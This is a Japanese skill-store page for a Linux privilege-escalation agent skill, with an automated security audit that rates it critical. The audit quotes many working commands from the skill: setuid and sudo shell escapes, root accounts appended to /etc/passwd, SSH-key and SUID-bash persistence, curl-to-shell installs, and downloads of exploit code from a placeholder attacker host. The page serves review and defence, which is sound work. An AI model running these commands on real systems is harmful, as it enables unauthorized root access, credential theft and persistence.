スキル privilege-escalation-knowledge
📦
privilege-escalation-knowledge
コンテンツリビジョン r1 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス📁 ファイルシステムへのアクセス
Linux の権限昇格経路を監査する
Linux の権限昇格レビューには、慎重な列挙と厳格な承認が必要です。このスキルは、管理されたラボおよび防御的監査向けに、一般的なチェック、リスクの高いベクトル、証拠取得を整理します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "privilege-escalation-knowledge" from https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge.md and its manifest at https://skillstore.io/api/skills/charleskozel-privilege-escalation-knowledge/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「privilege-escalation-knowledge」を使用しています。 このスキルをセキュリティリード向けに要約してください。
期待される結果:
このスキルは、承認済みラボ向けに Linux 権限昇格チェックを整理します。一般的な弱点、機密性の高い証拠、レポート作成の要件を対象とします。
「privilege-escalation-knowledge」を使用しています。 このスキルから防御的チェックリストを作成してください。
期待される結果:
- 不要な昇格コマンドがないか sudo ルールを確認する。
- 想定外の SUID バイナリとリスクの高い capabilities を削除する。
- 機密ファイル、履歴、キー、サービス定義へのアクセスを制限する。
「privilege-escalation-knowledge」を使用しています。 エクスプロイトコマンドなしでラボ報告を作成してください。
期待される結果:
報告には、失敗した制御、ビジネス影響、証拠ソース、修復担当者を記載する必要があります。実行可能なエクスプロイト手順は省略する必要があります。
セキュリティ監査
重大v10 • 2026/7/9 バージョン別レポートを開く
The skill is an explicit Linux privilege escalation playbook that instructs enumeration, exploitation, root persistence, and flag capture. Confirmed findings include sudo abuse, SUID abuse, capabilities, Docker socket access, credential discovery, and sensitive file modification. Several Markdown fence and read-only enumeration detections are false positives for their exact pattern.
1
スキャンされたファイル
552
解析済み行数
126
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (38)
重大
SSH directory access
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
重大
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
重大
SSH private key file
find / -name id_rsa 2>/dev/null
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
重大
System password file access
### 4. Writable /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
重大
System password file access
# Check if /etc/passwd is writable
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
重大
System password file access
ls -la /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
重大
System password file access
echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
重大
System password file access
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
確認済みの38件をすべて表示
重大
System password file access
ls -la /etc/shadow /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
重大
SUID bit modification
echo '#!/bin/bash\nchmod +s /bin/bash' > /path/to/script.sh
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
重大
SUID bit modification
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
重大
SUID bit modification
chmod +s /tmp/mount/bash
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
重大
SUID bit modification
chmod +s /bin/bash
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
重大
Pipe to shell pattern
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The command downloads a remote script and pipes it directly to a shell. That is unsafe remote code execution and tool execution guidance.
重大
Docker socket access
# If found /var/run/docker.sock
The Docker socket guidance leads to host filesystem mounting and chroot access. That is a container escape path to host-level control.
重大
End-to-End Root Compromise Workflow
The skill states that its purpose is escalating low-privileged users to root and capturing root flags, then defines exploitation and success criteria.
The purpose, core strategy, and success criteria all explicitly center on root access and flag capture. This is clear malicious-capability context, even if used in a lab.
重大
Post-Exploitation Persistence Guidance
The skill instructs users to maintain root access after compromise through SUID modification or root SSH authorization changes.
The section explicitly says to maintain access after root compromise and lists persistence mechanisms. This is direct post-exploitation guidance.
高
SSH host/auth files
find / -name authorized_keys 2>/dev/null
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
高
SSH host/auth files
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
高
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
高
Malware type keywords
│ ├─ Writable script run as root? → Backdoor → Wait → Root
The decision tree explicitly describes adding a backdoor through a root-run writable script. This is persistence and compromise guidance.
高
UID/GID manipulation
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
高
UID/GID manipulation
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
高
UID/GID manipulation
# - cap_setuid+ep on python/perl/ruby
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
高
UID/GID manipulation
# Python with cap_setuid
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
高
UID/GID manipulation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
高
UID/GID manipulation
# Perl with cap_setuid
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
高
UID/GID manipulation
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
高
UID/GID manipulation
│ ├─ cap_setuid on python/perl? → Exploit → Root
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
高
Sensitive Data Capture Objective
The skill requires locating, reading, validating, storing, and reporting root flags after privilege escalation.
The root flag capture and state update workflow is explicit. It is lab framed, but it still directs collection and recording of privileged data.
低
System reconnaissance
6. **Verification**: Confirm root access with `id`, `whoami`
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
低
System reconnaissance
id
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
低
System reconnaissance
# Python with cap_setuid
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
低
System reconnaissance
# Perl with cap_setuid
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
低
System reconnaissance
uname -a
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
低
System reconnaissance
id
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
低
System reconnaissance
│ ├─ cap_setuid on python/perl? → Exploit → Root
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
低
System reconnaissance
# whoami
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
機能レビュー項目 (126)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
重大
Python PTY spawn (shell access)
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The line documents spawning an interactive root shell through sudo Python. That is direct shell access guidance for privilege escalation.
高
Process spawn
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The line demonstrates spawning an interactive shell from an elevated interpreter. That can give an agent or user root shell access.
高
Python os.system
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The command sets UID to root and launches a shell through Python or Vim. This is direct privilege escalation execution guidance.
高
Python os.system
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command sets UID to root and launches a shell through Python or Vim. This is direct privilege escalation execution guidance.
高
Python os.exec variants
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The command sets UID to root and launches a shell through Python or Vim. This is direct privilege escalation execution guidance.
高
Ruby/PHP system() call
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
The line shows system-level shell invocation from an elevated interpreter. In this context it is used to obtain a root shell.
高
Ruby/PHP system() call
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The line shows system-level shell invocation from an elevated interpreter. In this context it is used to obtain a root shell.
高
Ruby/PHP system() call
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The line shows system-level shell invocation from an elevated interpreter. In this context it is used to obtain a root shell.
高
sudo privilege escalation
description: Comprehensive knowledge about Linux privilege escalation. Provides methodologies for en
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
- Focus: sudo -l, SUID, obvious misconfigurations
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
- `sudo -l` - Check sudo permissions
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
- GTFOBins (https://gtfobins.github.io/) - SUID/sudo exploitation
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# 2. Check sudo permissions (most common vector)
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# - vim: sudo vim -c ':!/bin/sh'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# - nano: sudo nano, then Ctrl+R Ctrl+X, type: reset; sh 1>&0 2>&0
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# - less: sudo less /etc/profile, then !sh
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# - man: sudo man man, then !sh
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# - find: sudo find . -exec /bin/sh \; -quit
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# - perl: sudo perl -e 'exec "/bin/sh";'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# - git: sudo git -p help config, then !sh
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
# 1. Identify binary you can sudo
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
sudo vim
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
"vector": "sudo -l showed vim with NOPASSWD",
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
├─ Run: sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
│ ├─ Can sudo something? → GTFOBins → Root
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
│ └─ No sudo → Continue
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
2. **Quick wins first** - sudo before kernel exploits
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
sudo privilege escalation
3. **GTFOBins is your friend** - Use it for SUID/sudo
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
高
Hidden file in home directory
cat ~/.bash_history
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
高
Linux /proc filesystem access
cat /proc/1/cgroup | grep docker
The command reads process and container metadata from /proc to determine escape opportunities. This is reconnaissance for privilege escalation.
高
Non-standard device file access
# Or /dev/shm
The guidance uses /dev/shm as a writable staging area when normal paths are unavailable. That supports tool staging during exploitation.
高
Non-standard device file access
cd /dev/shm
The guidance uses /dev/shm as a writable staging area when normal paths are unavailable. That supports tool staging during exploitation.
中
Ruby/shell backtick execution
6. **Verification**: Confirm root access with `id`, `whoami`
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
- `linpeas.sh` - Comprehensive automated enumeration
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
- `linenum.sh` - Alternative enumeration script
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
- `pspy` - Monitor processes without root
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
- `sudo -l` - Check sudo permissions
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
- `find / -perm -4000 2>/dev/null` - Find SUID binaries
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
- `getcap -r / 2>/dev/null` - Find capabilities
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
- `crontab -l` - Check user cron jobs
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
- `cat /etc/crontab` - Check system cron jobs
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
中
Shell command substitution
searchsploit "linux kernel $(uname -r)"
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
中
Shell command substitution
ROOT_FLAG=$(cat /root/root.txt)
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
中
Template literal with command substitution
```bash
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
中
Template literal with command substitution
```bash
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
中
Unix shell invocation
# - vim: sudo vim -c ':!/bin/sh'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
# - find: sudo find . -exec /bin/sh \; -quit
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
# - perl: sudo perl -e 'exec "/bin/sh";'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
/usr/bin/find . -exec /bin/sh -p \; -quit
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
echo '#!/bin/bash\nchmod +s /bin/bash' > /path/to/script.sh
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
/bin/bash -p
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
/bin/bash -p
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
cp /bin/bash /tmp/mount/bash
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
:set shell=/bin/bash
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
Unix shell invocation
chmod +s /bin/bash
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
中
xargs command (can execute arbitrary commands)
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i "password"
The xargs pipeline searches configuration files for passwords across the filesystem. It can expose secrets and process many attacker-controlled paths.
中
Hidden file access
ls -la /.dockerenv
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
中
Hidden file access
cat ~/.bash_history
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
中
Hidden file access
cat /home/*/.bash_history 2>/dev/null
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
中
Hidden file access
mkdir -p /root/.ssh
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
中
Hidden file access
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
中
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
中
Temp directory access
mkdir /tmp/mount
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
中
Temp directory access
mount -t nfs TARGET:/share /tmp/mount
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
中
Temp directory access
cp /bin/bash /tmp/mount/bash
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
中
Temp directory access
chmod +s /tmp/mount/bash
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
低
Hardcoded URL
- GTFOBins (https://gtfobins.github.io/) - SUID/sudo exploitation
The URL points readers to exploitation references for SUID and sudo abuse. It supports offensive privilege escalation guidance.
低
Hardcoded URL
wget http://YOUR_IP:8000/linpeas.sh
The URL placeholder supports downloading enumeration tooling from an attacker-controlled host. This creates unsafe tool transfer behavior.
低
Hardcoded URL
curl http://YOUR_IP:8000/linpeas.sh -o linpeas.sh
The URL placeholder supports downloading enumeration tooling from an attacker-controlled host. This creates unsafe tool transfer behavior.
低
Hardcoded URL
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The URL is used in a pipe-to-shell command that runs an external enumeration script. This is unsafe remote code execution guidance.
低
Hardcoded URL
wget http://YOUR_IP:8000/dirtypipe.c
The URL is used to download kernel exploit source code before compiling and running it. That is high-risk offensive tooling guidance.
低
Standard device file access
- `find / -perm -4000 2>/dev/null` - Find SUID binaries
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
- `getcap -r / 2>/dev/null` - Find capabilities
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find /etc -writable -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
getcap -r / 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
getcap -r / 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find /etc/systemd/system/ -writable 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find / -name docker.sock 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
grep -r "password" /var/www/html/ 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
grep -r "pass" /etc/ 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i "password"
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
cat /home/*/.bash_history 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find / -name id_rsa 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find / -name authorized_keys 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find /root -name "*.txt" 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find / -name "root.txt" 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find / -perm -002 -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
低
Standard device file access
find / -name "*.bak" -o -name "*.backup" 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
リスク要因
⚙️ 外部コマンド (50)
